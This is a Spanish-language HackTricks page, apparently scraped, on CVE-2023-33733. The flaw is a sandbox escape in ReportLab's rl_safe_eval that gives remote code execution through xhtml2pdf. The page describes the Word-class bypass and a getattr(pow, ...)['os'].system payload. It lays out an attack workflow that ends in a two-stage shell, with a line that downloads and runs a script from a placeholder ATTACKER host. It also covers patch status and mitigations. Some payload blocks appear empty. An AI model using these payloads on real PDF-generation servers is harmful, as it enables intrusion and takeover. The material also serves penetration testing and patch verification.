ReportLab/xhtml2pdf [[[…]]] expression-evaluation RCE (CVE-2023-33733)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Esta página documenta un escape práctico de sandbox y una primitiva RCE en rl_safe_eval de ReportLab usada por xhtml2pdf y otras canalizaciones de generación de PDF cuando renderizan HTML controlado por el usuario en PDFs.
CVE-2023-33733 afecta a ReportLab hasta la versión 3.6.12 inclusive. En ciertos contextos de atributos (por ejemplo color), los valores envueltos en corchetes triples [[[ … ]]] son evaluados en el servidor por rl_safe_eval. Al crear una carga que pivote desde un builtin en la whitelist (pow) hacia los globals de la función Python, un atacante puede alcanzar el módulo os y ejecutar comandos.
Puntos clave
- Disparador: inyectar [[[ … ]]] en atributos evaluados como dentro del marcado procesado por ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval reemplaza builtins peligrosos pero las funciones evaluadas aún exponen globals.
- Bypass: construir una clase transitoria Word para eludir las comprobaciones de nombres de rl_safe_eval y acceder a la cadena “globals” evitando el filtrado de dunders bloqueados.
- RCE:
getattr(pow, Word('__globals__'))['os'].system('<cmd>') - Estabilidad: devolver un valor válido para el atributo tras la ejecución (para color, usar and ‘red’).
Cuándo probar
- Aplicaciones que expongan exportación HTML-a-PDF (perfiles, facturas, informes) y muestren xhtml2pdf/ReportLab en los metadata del PDF o en comentarios de la respuesta HTTP.
- exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
- La respuesta HTTP para PDF a menudo comienza con un comentario generador de ReportLab
Cómo funciona el bypass del sandbox
- rl_safe_eval elimina o reemplaza muchos builtins (getattr, type, pow, …) y aplica filtrado de nombres para denegar atributos que empiecen con __ o que estén en una lista de denegación.
- Sin embargo, las funciones “seguras” existen en un diccionario globals accesible como func.globals.
- Usar type(type(1)) para recuperar la función builtin real type (eludiendo el wrapper de ReportLab), luego definir una clase Word derivada de str con comportamiento de comparación mutado de modo que:
- .startswith(‘’) → siempre False (evita la comprobación name startswith(‘’))
- .eq devuelve False solo en la primera comparación (evita las comprobaciones de pertenencia en la denylist) y True después (para que getattr funcione)
- .hash igual a hash(str(self))
- Con esto, getattr(pow, Word(‘globals’)) devuelve el dict globals de la función pow envuelta, que incluye el módulo os importado. Entonces:
['os'].system('<cmd>').
Patrón mínimo de explotación (ejemplo en atributo) Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and ‘red’.
- La forma con list-comprehension permite una sola expresión aceptable para rl_safe_eval.
- El sufijo and ‘red’ devuelve un color CSS válido para que el renderizado no falle.
- Reemplazar el comando según convenga; usar ping para validar la ejecución con tcpdump.
Flujo operativo
- Identificar el generador de PDF
- El campo Producer del PDF indica xhtml2pdf; la respuesta HTTP contiene un comentario de ReportLab.
- Encontrar una entrada reflejada en el PDF (por ejemplo, bio/descripcion de perfil) y activar una exportación.
- Verificar ejecución con ICMP de bajo ruido
- Ejecutar:
sudo tcpdump -ni <iface> icmp - Payload: …
system('ping <your_ip>')… - Windows a menudo envía exactamente cuatro peticiones echo por defecto.
- Establecer una shell
- Para Windows, un enfoque fiable en dos etapas evita problemas de quoting/encoding:
- Stage 1 (descarga):
- Stage 2 (ejecutar):
- Para objetivos Linux, es posible un enfoque similar en dos etapas con curl/wget:
- system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)
Notas y consejos
- Contextos de atributos: color es un atributo conocido que se evalúa; otros atributos en el marcado de ReportLab también pueden evaluar expresiones. Si una ubicación está sanitizada, probar otras que se rendericen en el flujo del PDF (diferentes campos, estilos de tabla, etc.).
- Citas: Mantener los comandos compactos. Las descargas en dos etapas reducen drásticamente los problemas de quoting y escapado.
- Fiabilidad: Si las exportaciones están cacheadas o en cola, variar ligeramente la carga (por ejemplo, ruta o query aleatoria) para evitar caches.
Estado del parche (2024–2025) e identificación de backports
- 3.6.13 (27 Apr 2023) reescribió
colors.toColora un parser basado en un recorrido AST; las versiones 4.x más nuevas mantienen esta vía. Forzarrl_settings.toColorCanUsearl_safe_evalorl_extended_literal_evalre-habilita el evaluador vulnerable incluso en versiones actuales. - Varias distribuciones incluyen parches backporteados manteniendo números de versión como 3.6.12-1+deb12u1; no confíes solo en el número de versión semántico. Grep
colors.pyen busca deast.parseo inspeccionatoColoren tiempo de ejecución para confirmar que el parser seguro está en uso (ver comprobación rápida abajo). - Comprobación local rápida para ver si la corrección basada en AST está presente:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY
Mitigaciones y detección
- Actualizar ReportLab a 3.6.13 o posterior (CVE-2023-33733 corregido). También seguir los avisos de seguridad en los paquetes de la distribución.
- No alimentar HTML/markup controlado por el usuario directamente en xhtml2pdf/ReportLab sin una sanitización estricta. Eliminar/denegar las construcciones de evaluación [[[…]]] y las etiquetas específicas del proveedor cuando la entrada no sea de confianza.
- Considerar deshabilitar o encapsular el uso de rl_safe_eval por completo para entradas no confiables.
- Monitorizar conexiones salientes sospechosas durante la generación de PDF (p. ej., ICMP/HTTP desde servidores de aplicaciones al exportar documentos).
Referencias
- PoC y análisis técnico: c53elyas/CVE-2023-33733
- 0xdf University HTB write-up (explotación en el mundo real, Windows two-stage payloads): HTB: University
- Entrada NVD (versiones afectadas): CVE-2023-33733
- xhtml2pdf docs (conceptos de marcado/página): xhtml2pdf docs
- ReportLab 3.6.13 release notes (AST rewrite of toColor): What’s New in 3.6.13
- Tracker de seguridad de Debian que muestra correcciones backport manteniendo las versiones menores sin cambios: Debian tracker CVE-2023-33733
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


